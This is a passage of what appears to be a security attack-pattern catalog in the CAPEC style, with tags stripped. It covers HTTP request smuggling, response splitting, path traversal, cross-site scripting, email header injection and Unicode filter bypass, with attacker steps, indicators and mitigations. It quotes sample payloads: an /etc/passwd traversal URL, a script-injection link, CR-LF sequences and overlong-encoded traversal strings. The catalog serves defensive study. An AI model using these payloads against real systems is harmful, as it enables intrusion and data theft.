possible since the request to be smuggled can be crafted as body of the larger request that Microsoft ISA/2000 would let through.Tomcat would then use the first header and interpret it as two different requests. Other anomalies that enable HTTP Request Smuggling include premature termination of requests at specific lengths, GET requests with Content-Length header or differences in interpreting reqeuests containing certain CR-LF and space sequences. HTTP requests that are interpreted and parsed differently by the targeted entities. HTTP request to be smuggled through the first entity to the second one. The application server behind another HTTP entity The impact of activation is that a particular request that was not supposed to pass through the first entity is received by the second entity who responds to it. This can defeat protection against malware or lead to Cross-Site Scripting 444 Targeted 436 Secondary 707 Targeted System integration testing must include security checks to protect against Multiple Interpretation Errors across systems. Economy of Mechanism Securing the Weakest Link Carefully Study Other Systems Before Incorporating Them into Your System Design Configuration Subsystems Correctly and Distribute Safe Default Configurations Penetration Medium Medium Low Client-Server n-Tier All All All CWE - HTTP Request Smuggling CWE - Multiple Interpretation Error Chiradeep B Chhaya 2007-01-10 First Draft Malik Hamro Cigital, Inc 2007-02-27 Reformat to new schema and review Sean Barnum Cigital, Inc 2007-03-05 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Description Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback Romain Gaucher Cigital, Inc 2009-02-10 Created draft content for detailed description Sean Barnum Cigital Federal, Inc 2009-04-13 Reviewed and revised content for detailed description

This attack uses a maliciously-crafted HTTP request in order to cause a vulnerable web server to respond with an HTTP response stream that will be interpreted by the client as two separate responses instead of one. This is possible when user-controlled input is used unvalidated as part of the response headers. The target software, the client, will interpret the injected header as being a response to a second request, thereby causing the maliciously-crafted contents be displayed and possibly cached. To achieve HTTP Response Splitting on a vulnerable web server, the attacker:

Spider Using a browser or an automated tool, an attacker follows all public links on a web site. He records all the links, the forms and all potential user-controllable input points for the web application. Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL, forms found in the pages (like file upload, etc.). env-Web Use a proxy tool to record all links visited during a manual traversal of the web application. env-Web Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery. env-Web Inputs are transported through HTTP env-Web The application uses redirection techniques (HTTP Location, etc.) env-Web Using URL rewriting, parameters may be part of the URL path. env-Web No parameters appear to be used on the current page. Even though none appear, the web application may still use them if they are provided. env-Web Applications that have only static pages or that simply present information without accepting input are unlikely to be susceptible. env-Web A list of user-controllable input entry points is created by the attacker. Monitor velocity of page fetching in web logs. Humans who view a page and select a link from it will click far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them). Create links on some pages that are visually hidden from web browsers. Using IFRAMES, images, or other HTML techniques, the links can be hidden from web browsing humans, but visible to spiders and programs. A request for the page, then, becomes a good predictor of an automated tool probing the application. Use CAPTCHA to prevent the use of the application by an automated tool. Actively monitor the application and either deny or redirect requests from origins that appear to be automated. Attempt variations on input parameters The attacker injects the entry points identified in the Explore Phase with response splitting syntax and variations of payloads to be acted on in the additional response. He records all the responses from the server that include unmodified versions of his payload. Use CR\LF characters (encoded or not) in the payloads in order to see if the HTTP header can be split. env-Web Use a proxy tool to record the HTTP responses headers. env-Web The web server uses unvalidated user-controlled input as part of the response headers env-Web The CR\LF characters are passed in the HTTP header and two responses are generated for a single request. All CR\LF characters are consistently re-encoded or stripped before being written in the HTTP header The size of the payload is being limited by the server-side application. Some sensitive characters are consistently encoded, but others are not. Monitor input to web servers (not only GET, but all in the inputs), application servers, and other HTTP infrastructure (e.g., load balancers). Alert on CR\LF characters. Do not use user-controllable inputs in HTTP headers Filter CR/LF syntax out of any user-controllable input utilized in HTTP headers. Actively monitor the application and either deny or redirect requests from origins that appear to be generating HTTP Response Splitting attacks. Cross-Site Scripting As the attacker succeeds in exploiting the vulnerability, he can choose to attack the user with Cross-Site Scripting. The possible outcomes of such an attack are described in the Cross-Site Scripting related attack patterns. Inject cross-site scripting payload preceded by response splitting syntax (CR/LF) into user-controllable input identified as vulnerable in the Experiment Phase. env-Web The malicious script is executed within the user's context. Monitor server logs for consecutive suspicious HTTP request Apply appropriate input validation to filter all user-controllable input of scripting syntax Appropriately encode all browser output to avoid scripting syntax Cache poisoning The attacker decides to target the cache server by forging new responses. The server will then cache the second request and response. The cached response has most likely an attack vector like Cross-Site Scripting; this attack will then be serve to many clients due to the caching system. env-Web System performs caching of HTTP responses env-Web The attacker gets the users to be served with this cached malicious HTTP response. Monitor server logs for consecutive suspicious HTTP requests. Apply appropriate input validation to filter all user-controllable input of scripting syntax Appropriately encode all browser output to avoid scripting syntax User-controlled input used as part of HTTP header Ability of attacker to inject custom strings in HTTP header Insufficient input validation in application to check for input sanity before using it as part of response header High Medium Injection Protocol Manipulation In the PHP 5 session extension mechanism, a user-supplied session ID is sent back to the user within the Set-Cookie HTTP header. Since the contents of the user-supplied session ID are not validated, it is possible to inject arbitrary HTTP headers into the response body. This immediately enables HTTP Response Splitting by simply terminating the HTTP response header from within the session ID used in the Set-Cookie directive. CVE-2006-0207 High - The attacker needs to have a solid understanding of the HTTP protocol and HTTP headers and must be able to craft and inject requests to elicit the split responses. None With available source code, the attacker can see whether user input is validated or not before being used as part of output. This can also be achieved with static code analysis tools If source code is not available, the attacker can try injecting a CR-LF sequence (usually encoded as %0d%0a in the input) and use a proxy such as Paros to observe the response. If the resulting injection causes an invalid request, the web server may also indicate the protocol error. The only indicators are multiple responses to a single request in the web logs. However, this is difficult to notice in the absence of an application filter proxy or a log analyzer. There are no indicators for the client To avoid HTTP Response Splitting, the application must not rely on user-controllable input to form part of its output response stream. Specifically, response splitting occurs due to injection of CR-LF sequences and additional headers. All data arriving from the user and being used as part of HTTP response headers must be subjected to strict validation that performs simple character-based as well as semantic filtering to strip it of malicious character sequences and headers. Run Arbitrary Code Privilege Escalation HTTP Response Splitting attacks take place where the server script embeds user-controllable data in HTTP response headers. This typically happens when the script embeds such data in the redirection URL of a redirection response (HTTP status code 3xx), or when the script embeds usuch data in a cookie value or name when the response sets a cookie. In the first case, the redirection URL is part of the Location HTTP response header, and in the cookie setting, the cookie name/value pair is part of the Set-Cookie HTTP response header. User-controllable input that forms part of output HTTP response headers Encoded HTTP header and data separated by appropriate CR-LF sequences. The injected data must consist of legitimate and well-formed HTTP headers as well as required script to be included as HTML body. API calls in the application that set output response headers. The impact of payload activation is that two distinct HTTP responses are issued to the target, which interprets the first as response to a supposedly valid request and the second, which causes the actual attack, to be a response to a second dummy request issued by the attacker. 113 Targeted 697 Targeted 707 Targeted 713 Targeted 74 Secondary All client-supplied input must be validated through filtering and all output must be properly escaped. Reluctance to Trust Never trust user-supplied input. Penetration High High Low Client-Server n-Tier All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. CWE - HTTP Response Splitting CWE - Injection Chiradeep B Chhaya 2007-01-09 First Draft Malik Hamro Cigital, Inc 2007-02-27 Reformat to new schema and review Sean Barnum Cigital, Inc 2007-03-05 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Description Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback Romain Gaucher Cigital, Inc 2009-02-10 Created draft content for detailed description Sean Barnum Cigital Federal, Inc 2009-04-13 Reviewed and revised content for detailed description

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

Fingerprinting of the operating system In order to create a valid file injection, the attacker needs to know what the underlying OS is. Port mapping. Identify ports that the system is listening on, and attempt to identify inputs and protocol types on those ports. env-Local env-CommProtocol env-Peer2Peer env-ClientServer TCP/IP Fingerprinting. The attacker uses various software to make connections or partial connections and observe idiosyncratic responses from the operating system. Using those responses, he attempts to guess the actual operating system. env-Embedded env-CommProtocol env-Peer2Peer env-ClientServer env-Web Induce errors to find informative error messages env-All The target software accepts connections via the network. env-Embedded env-CommProtocol env-Peer2Peer env-ClientServer env-Web Operating environment (operating system, language, and/or middleware) is correctly identified. Multiple candidate operating environments are suggested. Provide misleading information on TCIP/IP fingerprints (some operating systems can be configured to send signatures that match other operating systems). Provide misleading information at the server level (e.g., Apache, IIS, WebLogic, etc.) to announce a different server software. Some fingerprinting techniques can be detected by operating systems or by network IDS systems because they leave the network connection half-open, or they do not belong to a valid, open connection. Survey the Application to Identify User-controllable Inputs The attacker surveys the target application to identify all user-controllable inputs, possibly as a valid and authenticated user Spider web sites for all available links, entry points to the web site. env-Web Manually explore application and inventory all application inputs env-All The attacker develops a list of likely interesting path (application or OS related) Monitor velocity of page fetching in web logs. Humans who view a page and select a link from it will click far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them). Create links on some pages that are visually hidden from web browsers. Using IFRAMES, images, or other HTML techniques, the links can be hidden from web browsing humans, but visible to spiders and programs. A request for the page, then, becomes a good predictor of an automated tool probing the application. Actively monitor the application and either deny or redirect requests from origins that appear to be automated. Monitor velocity of feature activations (non-web software). Humans who activate features (click buttons, request actions, invoke APIs, etc.) will do so far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them). Vary inputs, looking for malicious results Depending on whether the application being exploited is a remote or local one the attacker crafts the appropriate malicious input containing the path of the targeted file or other file system control syntax to be passed to the application Inject context-appropriate malicious file path using network packet injection tools (netcat, nemesis, etc.) env-CommProtocol env-Web env-Peer2Peer env-ClientServer Inject context-appropriate malicious file path using web test frameworks (proxies, TamperData, custom programs, etc.) or simple HTTP requests env-Web Inject context-appropriate malicious file system control syntax env-CommProtocol env-Web env-Peer2Peer env-ClientServer Inventorying in prior step is successful. env-All One or more injections that are appropriate to the platform provoke an unexpected response from the software, which can be varied by the attacker based on the input. Manipulate files accessible by the application The attacker may steal information or directly manipulate files (delete, copy, flush, etc.) The attacker injects context-appropriate malicious file path to access the content of the targeted file. env-All The attacker injects context-appropriate malicious file system control syntax to access the content of the targeted file. env-All The attacker injects context-appropriate malicious file path to cause the application to create, delete a targeted file. env-All The attacker injects context-appropriate malicious file system control syntax to cause the application to create, delete a targeted file. env-All The attacker injects context-appropriate malicious file path in order to manipulate the meta-data of the targeted file. env-All The attacker injects context-appropriate malicious file system control syntax in order to manipulate the meta-data of the targeted file. env-All The software performs an action the attacker desires. This might be displaying information, storing information in a file, delete a file or some other malicious activity. Use a system that logs file modification and/or access. Make the application run in a low-privileged mode to prevent such attack to access important files. Program must allow for user controlled variables to be applied directly to the filesystem Very High High Injection API Abuse Modification of Resources An example of using path traversal to attack some set of resources on a web server is to use a standard HTTP request http://example/../../../../../etc/passwd From an attacker point of view, this may be sufficient to gain access to the password file on a poorly protected system. If the attacker can list directories of critical resources then read only access is not sufficient to protect the system. Low: to identify file system entry point and execute against an overprivileged system interface Design: Enforce principle of least privilege. Design: Ensure all input is validated, and does not contain file system commands Design: Run server interfaces with a non-root account and/or utilize chroot jails or other configuration techniques to constrain privileges even if attacker gains some limited access to commands. Design: For interactive user applications, consider if direct file system interface is necessary, instead consider having the application proxy communication. Implementation: Perform testing such as pentesting and vulnerability scanning to identify directories, programs, and interfaces that grant direct access to executables. Privilege Escalation Data Modification An attack of this type exploits a system's permissiveness in letting an end user specify filenames, paths, and other data. Many systems, especially multi user systems like servers, attempt to balance the tradeoffs between allowing the user access to rich functionality and limiting the access to the file system in some way. For web and ftp servers, it may be desirable for users to upload and manage content; in an enterprise workstation, there may be several users running programs on the same machine, so the policy may require a user to be constrained to their own working directory. Unfortunately, giving the end user direct access to the file system without proper validation of the input data, can result in unforeseen results. The user's ability to manipulate the file system, executing commands against the file system, can destroy the barrier between what the end user's privileges are designed to be, because they are executed in an unexpected locale (the file systems) where permissions may not be set correctly. The outcome of this type of access can include: Manipulate file metadata: alter the timestamp, filename, file permissions Unauthorized duplication or destruction: attacker may copy, move, or delete files System traversal: users with liberal permissions can traverse to other directories like /tmp and /etc to gain access to additional system configuration information and other sensitive information. The entry point directory is the starting point, with appending file system commands like ../ to escape out of the initial directory locale, for example: /entrypoint directory/../targetfilename Upload files: given too much access, the attacker can identify file system locations to upload tools, files, and other content to launch further attacks. It should be noted that even without the ability to upload, access to the file system by itself can be the only opening an attacker needs. Systems have increasingly complex configurations, and the locations of directories, tools, and entry points by default are very similar across implementations. This allows attackers to scan many hosts to identify predictably located entry points for file system attacks. "File system calls are very common in software applications. In many cases, user input is consumed to specify filenames and other data. WIthout proper security control this leads to a classic vulnerability whereby an attacker can pass various parameters into file system calls." [Hoglund and McGraw 04] Payload delivered through standard communication protocols and inputs. File system commands and specifiers File system File access or modification. 23 Targeted 22 Targeted 73 Targeted 77 Targeted 346 Targeted 348 Targeted 285 Secondary 264 Secondary 272 Targeted 59 Targeted 74 Targeted 15 Targeted 715 Targeted Exploitation High High Medium All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-01-01 Gunnar Peterson Cigital, Inc 2007-02-28 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-09 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name and Description Sean Barnum Cigital, Inc 2007-04-16 Modified pattern content according to review and feedback Romain Gaucher Cigital, Inc 2009-02-10 Created draft content for detailed description Sean Barnum Cigital Federal, Inc 2009-04-13 Reviewed and revised content for detailed description

An attacker embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.

Survey the application for user-controllable inputs Using a browser or an automated tool, an attacker follows all public links and actions on a web site. He records all the links, the forms, the resources accessed and all other potential entry-points for the web application. Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL. env-Web Use a proxy tool to record all links visited during a manual traversal of the web application. env-Web Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery. env-Web Inputs are used by the application or the browser (DOM) env-Web Using URL rewriting, parameters may be part of the URL path. env-Web No parameters appear to be used on the current page. Even though none appear, the web application may still use them if they are provided. env-Web Applications that have only static pages or that simply present information without accepting input are unlikely to be susceptible. env-Web A list of URLs, with their corresponding parameters (POST, GET, COOKIE, etc.) is created by the attacker. A list of application user interface entry fields is created by the attacker. A list of resources accessed by the application is created by the attacker. Monitor velocity of page fetching in web logs. Humans who view a page and select a link from it will click far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them). Create links on some pages that are visually hidden from web browsers. Using IFRAMES, images, or other HTML techniques, the links can be hidden from web browsing humans, but visible to spiders and programs. A request for the page, then, becomes a good predictor of an automated tool probing the application. Use CAPTCHA to prevent the use of the application by an automated tool. Actively monitor the application and either deny or redirect requests from origins that appear to be automated. Probe identified potential entry points for XSS vulnerability The attacker uses the entry points gathered in the "Explore" phase as a target list and injects various common script payloads to determine if an entry point actually represents a vulnerability and to characterize the extent to which the vulnerability can be exploited. Use a list of XSS probe strings to inject script in parameters of known URLs. If possible, the probe strings contain a unique identifier. env-Web Use a proxy tool to record results of manual input of XSS probes in known URLs. env-Web Use a list of XSS probe strings to inject script into UI entry fields. If possible, the probe strings contain a unique identifier. env-Web Use a list of XSS probe strings to inject script into resources accessed by the application. If possible, the probe strings contain a unique identifier. env-Web The output of pages includes some form of a URL parameter. E.g., ?error="<foobar>'(){};=" becomes "<foobar>'(){}=" in the title of the web page. env-Web Input content becomes part of the web page. env-Web Nothing is returned to the web page. It may be a stored XSS. The unique identifier from the probe helps to trace the flow of the possible XSS. env-Web The attacker's cross-site scripting string is repeated back verbatim at some point in the web site (if not on the same page). Note that sometimes, the payload might be well encoded in the page, but wouldn't be encoded at all in some other section of the same web page (title, script, etc.) All HTML-sensitive characters are consistently re-encoded before being sent to the web browser. Some sensitive characters are consistently encoded, but others are not. Monitor input to web servers (not only GET, but all potential inputs), application servers, and other HTTP infrastructure (e.g., load balancers). Alert on standard XSS probes. The majority of attackers use well known strings to check for vulnerabilities. Use the same vulnerability catalogs that hackers use. Apply appropriate input validation to filter all user-controllable input of scripting syntax Appropriately encode all browser output to avoid scripting syntax Actively monitor the application and either deny or redirect requests from origins that appear to be generating XSS probes. Steal session IDs, credentials, page content, etc. As the attacker succeeds in exploiting the vulnerability, he can choose to steal user's credentials in order to reuse or to analyze them later on. Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and sends document information to the attacker. env-Web Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute appropriately. env-Web The attacker gets the user's cookies or other session identifiers. The attacker gets the content of the page the user is viewing. The attacker causes the user's browser to visit a page with malicious content. Monitor server logs for scripting parameters. Monitor server logs for referrers. If users are being tricked into clicking XSS links through forums or other web postings, their web browsers will be providing Referrer headers most of the time. These can help indicate that the actual request is illegitimate. Apply appropriate input validation to filter all user-controllable input of scripting syntax Appropriately encode all browser output to avoid scripting syntax Actively monitor the application and either deny or redirect requests from origins that appear to be generating XSS probes. Forceful browsing When the attacker targets the current application or another one (through CSRF vulnerabilities), the user will then be the one who perform the attacks without being aware of it. These attacks are mostly targeting application logic flaws, but it can also be used to create a widespread attack against a particular website on the user's current network (Internet or not). Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and performs actions on the same web site env-Web Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute request to other web sites (especially the web applications that have CSRF vulnerabilities). env-Web The attacker indirectly controls the user's browser and makes it performing actions exploiting CSRF. The attacker manipulates the browser through the steps that he designed in his attack. The user, identified on a website, is now performing actions he is not aware of. Monitor server logs for scripting parameters. Monitor server logs for referrers. If users are being tricked into clicking XSS links through forums or other web postings, their web browsers will be providing Referrer headers most of the time. These can help indicate that the actual request is illegitimate. Apply appropriate input validation to filter all user-controllable input of scripting syntax Appropriately encode all browser output to avoid scripting syntax Actively monitor the application and either deny or redirect requests from origins that appear to be generating XSS probes. Content spoofing By manipulating the content, the attacker targets the information that the user would like to get from the website. Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and exposes attacker-modified invalid information to the user on the current web page. env-Web The user sees a page containing wrong information Monitor server logs for scripting parameters. Monitor server logs for referrers. If users are being tricked into clicking XSS links through forums or other web postings, their web browsers will be providing Referrer headers most of the time. These can help indicate that the actual request is illegitimate. Apply appropriate input validation to filter all user-controllable input of scripting syntax Appropriately encode all browser output to avoid scripting syntax Actively monitor the application and either deny or redirect requests from origins that appear to be generating XSS probes. Target client software must be a client that allows scripting communication from remote hosts, such as a Javascript-enabled Web Browser Very High High Injection Modification of Resources Protocol Manipulation Classic phishing attacks lure users to click on content that appears trustworthy, such as logos, and links that seem to go to their trusted financial institutions and online auction sites. But instead the attacker appends malicious scripts into the otherwise innocent appearing resources. The HTML source for a standard phishing attack looks like this <a href="www.exampletrustedsite.com?Name=<script>maliciousscript</script>">Trusted Site</a> When the user clicks the link, the appended script also executes on the local user's machine. Low: To achieve a redirection and use of less trusted source, an attacker can simply place a script in bulletin board, blog, wiki, or other user-generated content site that are echoed back to other client machines. High: Exploiting a client side vulnerability to inject malicious scripts into the browser's executable process. Ability to deploy a custom hostile service for access by targeted clients. Ability to communicate synchronously or asynchronously with client machine Design: Use browser technologies that do not allow client side scripting. Design: Utilize strict type, character, and encoding enforcement Design: Server side developers should not proxy content via XHR or other means, if a http proxy for remote content is setup on the server side, the client's browser has no way of discerning where the data is originating from. Implementation: Ensure all content that is delivered to client is sanitized against an acceptable content specification. Implementation: Perform input validation for all remote content. Implementation: Perform output validation for all remote content. Implementation: Session tokens for specific host Implementation: Patching software. There are many attack vectors for XSS on the client side and the server side. Many vulnerabilities are fixed in service packs for browser, web servers, and plug in technologies, staying current on patch release that deal with XSS countermeasures mitigates this. Run Arbitrary Code Data Modification Information Leakage "Attack Pattern: Simple Script Injection "As a normal user of a system there are opportunities to supply input to the system. This input may include text, numbers, cookies, parameters, and so forth. Once these values are accepted by the system, they may be stored, and used later. If the data are used in a server response (such as a message board, where the data are stored and then displayed back to the users), an attacker can "pollute" these data with code that will be interpreted by unsuspecting client terminals." [Hoglund and McGraw 04] ... Web 2.0 technologies rely heavily on scripting, mashups of various remote content sources and other plug in technologies like multi media players which are effectively composed of content generated by other systems are vulnerable due to the fact that an attacker may use the HTTP header information that these technologies consume and display as an attack launch pad. While Ajax and related Web 2.0 technologies are highly prized for rich client experience on web applications, they lack the ability to enforce security policy on the client side. The standard call for an Ajax application is XML HTTP Request (XHR), which by design limits its communication back to its URL host, however it is commonplace for developers to proxy communication from the host to other sites. In this case the client has no ability to 1) know that the communication is proxied in the first place and 2) know where the content is served from and 3) what intermediaries are involved who can sniff and tamper with data in transit. Ajax does not necessarily introduce additional attack targets, but it does enhance the attacker's ability to execute attacks, probes, and enumerations, because Ajax client-server communications consist of numerous round trips. In classic XSS, the remote attacker may get only one chance to attempt an attack, and if she guesses wrong then needs to move on. In an Ajax scenario, it is likely the attacker can probe for multiple weaknesses, subnets, password combinations, and so on. The "lock" on the safe remains the same, but the attacker can try many combinations. This lack of assurance on the client side opens up two main vectors for attackers, 1) the attacker can push code to launch attacks on the client system or network, and 2) the attacker can lure the client to malicious sites and to asserting information such as authentication or personal data to the malicious site. Malicious input delivered through standard content (containing scripts) that is sent to the user's machine, for example HTML page containing Javascript. Varies with instantiation of attack pattern. Malicious script payload may be appended to end of legitimate looking link Client browser, its component libraries, and client network (e..g Intranet) Enables attacker to execute scripts to launch attacks on remote client machine and environment. Intranet and local systems may not be patched to the same degree as "externally" facing systems, so simple attacks may identify more victims on an "internal" system such as a corporate Intranet 20 Targeted 184 Secondary 96 Targeted 113 Targeted 348 Targeted 116 Targeted 350 Targeted 86 Secondary 692 Targeted 697 Targeted 713 Targeted 71 Targeted 18 More Abstract Penetration Exploitation High High High Client-Server J2EE .NET All JSP Java ASP.NET ASP PHP AJAX G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-01-01 Gunnar Peterson Cigital, Inc 2007-02-28 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-09 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Description Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback Romain Gaucher Cigital, Inc 2009-02-10 Created draft content for detailed description Sean Barnum Cigital Federal, Inc 2009-04-13 Reviewed and revised content for detailed description

This type of attack involves an attacker leveraging meta-characters in email headers to inject improper behavior into email programs. Email software has become increasingly sophisticated and feature-rich. In addition, email applications are ubiquitous and connected directly to the Web making them ideal targets to launch and propagate attacks. As the user demand for new functionality in email applications grows, they become more like browsers with complex rendering and plug in routines. As more email functionality is included and abstracted from the user, this creates opportunities for attackers. Virtually all email applications do not list email header information by default, however the email header contains valuable attacker vectors for the attacker to exploit particularly if the behavior of the email client application is known. Meta-characters are hidden from the user, but can containt scripts, enumerations, probes, and other attacks against the user's system.

Identify and characterize metacharacter processing vulnerabilities in email headers An attacker creates emails with headers containing various metacharacter-based malicious payloads in order to determine whether the target application processes the malicious content and in what manner it does so. Use an automated tool (fuzzer) to create malicious emails headers containing metacharacter-based payloads. env-Web Manually tampering email headers to inject malicious metacharacter-based payload content in them. env-Web The email client processes metacharacters in email headers. env-Local The email client does not process metacharacters in email headers. env-Local The email server will strip the headers that contain metacharacters env-Web The email server lets the malicious metacharacters in the email headers. env-Web The email client executes the malicious payload. No malicious content is being delivered in the email by the server. Monitor email headers for malicious content in metacharacters. An attacker leverages vulnerabilities identified during the Experiment Phase to inject malicious email headers and cause the targeted email application to exhibit behavior outside of its expected constraints. Send emails with specifically-constructed, metacharater-based malicious payloads in the email headers to targeted systems running email processing applications identified as vulnerable during the Experiment Phase. env-Local The payload executes on the target user's system. Filtering email headers for malicious content. This attack targets most widely deployed feature rich email applications, including web based email programs. High High Injection API Abuse From: Headerdef: whatever ]]> Meta-characters are among the most valuable tools attackers have to deceive users into taking some action on their behalf. E-mail is perhaps the most efficient and cost effective attack distribution tool available, this has led to the phishing pandemic. Meta-characters like \w \s \d ^ can allow the attacker to escape out of the expected behavior to execute additional commands. Escaping out the process (such as email client) lets the attacker run arbitrary code in the user's process. Low: to distribute email Design: Perform validation on email header data Implementation: Implement email filtering solutions on mail server or on MTA, relay server. Implementation: Mail servers that perform strict validation may catch these attacks, because metacharacters are not allowed in many header variables such as dns names Run Arbitrary Code "Attack Pattern: Meta-Characters in E-mail Header Meta-characters can be supplied in an e-mail header and may be consumed by the client software to interesting effect." [Hoglund and McGraw 04] Email Metacharacters Email processing routines of Email program Enables attacker to execute server side code with any commands that the program owner has privileges to. 150 Targeted 88 Targeted 697 Targeted 713 Targeted Penetration High High High All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-01-01 Gunnar Peterson Cigital, Inc 2007-02-28 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-09 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name, Description and Examples Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback Romain Gaucher Cigital, Inc 2009-02-10 Created draft content for detailed description Sean Barnum Cigital Federal, Inc 2009-04-13 Reviewed and revised content for detailed description

An attacker may provide a unicode string to a system component that is not unicode aware and use that to circumvent the filter or cause the classifying mechanism to fail to properly understanding the request. That may allow the attacker to slip malicious data past the content filter and/or possibly cause the application to route the request incorrectly.

Survey the application for user-controllable inputs Using a browser or an automated tool, an attacker follows all public links and actions on a web site. He records all the links, the forms, the resources accessed and all other potential entry-points for the web application. Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL. env-Web Use a proxy tool to record all user input entry points visited during a manual traversal of the web application. env-Web Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery. env-Web Inputs are used by the application or the browser (DOM) env-Web Using URL rewriting, parameters may be part of the URL path. env-Web No parameters appear to be used on the current page. Even though none appear, the web application may still use them if they are provided. env-Web Applications that have only static pages or that simply present information without accepting input are unlikely to be susceptible. env-Web A list of URLs, with their corresponding parameters (POST, GET, COOKIE, etc.) is created by the attacker. A list of application user interface entry fields is created by the attacker. A list of resources accessed by the application is created by the attacker. Monitor velocity of page fetching in web logs. Humans who view a page and select a link from it will click far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them). Create links on some pages that are visually hidden from web browsers. Using IFRAMES, images, or other HTML techniques, the links can be hidden from web browsing humans, but visible to spiders and programs. A request for the page, then, becomes a good predictor of an automated tool probing the application. Use CAPTCHA to prevent the use of the application by an automated tool. Actively monitor the application and either deny or redirect requests from origins that appear to be automated. Probe entry points to locate vulnerabilities The attacker uses the entry points gathered in the "Explore" phase as a target list and injects various Unicode encoded payloads to determine if an entry point actually represents a vulnerability with insufficient validation logic and to characterize the extent to which the vulnerability can be exploited. Try to use Unicode encoding of content in Scripts in order to bypass validation routines. env-Web Try to use Unicode encoding of content in HTML in order to bypass validation routines. env-Web Try to use Unicode encoding of content in CSS in order to bypass validation routines. env-Web The application accepts user-controllable input. env-Web Success The attacker's Unicode encoded payload is processed and acted on by the application without filtering or transcoding The application decodes the charset and filters the inputs. Implement input validation routines that filter or transcode for Unicode content. Specify the charset of the HTTP transaction/content. Monitor inputs to web servers. Alert on unusual charset and/or characters. Actively monitor the application and either deny or redirect requests from origins that appear to be attack attempts. Filtering is performed on data that has not be properly canonicalized. High Medium Modification of Resources API Abuse Injection Attack Example: Unicode Encodings in the IIS Server A very common technique for a unicode attack involves traversing directories looking for interesting files. An example of this idea applied to the Web is http://target.server/some_directory/../../../winnt In this case, the attacker is attempting to traverse to a directory that is not supposed to be part of standard Web services. The trick is fairly obvious, so many Web servers and scripts prevent it. However, using alternate encoding tricks, an attacker may be able to get around badly implemented request filters. In October 2000, a hacker publicly revealed that Microsoft's IIS server suffered from a variation of this problem. In the case of IIS, all the attacker had to do was provide alternate encodings for the dots and/or slashes found in a classic attack. The unicode translations are . yields C0 AE / yields C0 AF \ yields C1 9C Using this conversion, the previously displayed URL can be encoded as http://target.server/some_directory/%C0AE/%C0AE/%C0AE%C0AE /%C0AE%C0AE/winnt CVE-2000-0884 Medium: An attacker needs to understand unicode encodings and have an idea (or be able to find out) what system components may not be unicode aware. Unicode encoded data is passed to APIs where it is not expected Ensure that the system is Unicode aware and can properly process Unicode data. Do not make an assumption that data will be in ASCII. Ensure that filtering or input validation is applied to canonical data. Assume all input is malicious. Create a white list that defines all valid input to the software system based on the requirements specifications. Input that does not match against the white list should not be permitted to enter into the system. Privilege Escalation Run Arbitrary Code Data Modification Denial of Service Building "Equivalent" Requests A large number of commands are subject to parsing or filtering. In many cases a filter only considers one particular way to format a command. The fact is that the same command can usually be encoded in thousands of different ways. In many cases, an alternative encoding for the command will produce exactly the same results as the original command. Thus, two commands that look different from the logical perspective of a filter end up producing the same semantic result. In many cases, an alternatively encoded command can be used to attack a software system, because the alternative command allows an attacker to perform an operation that would otherwise be blocked. Mapping the API Layer A good approach to help identify and 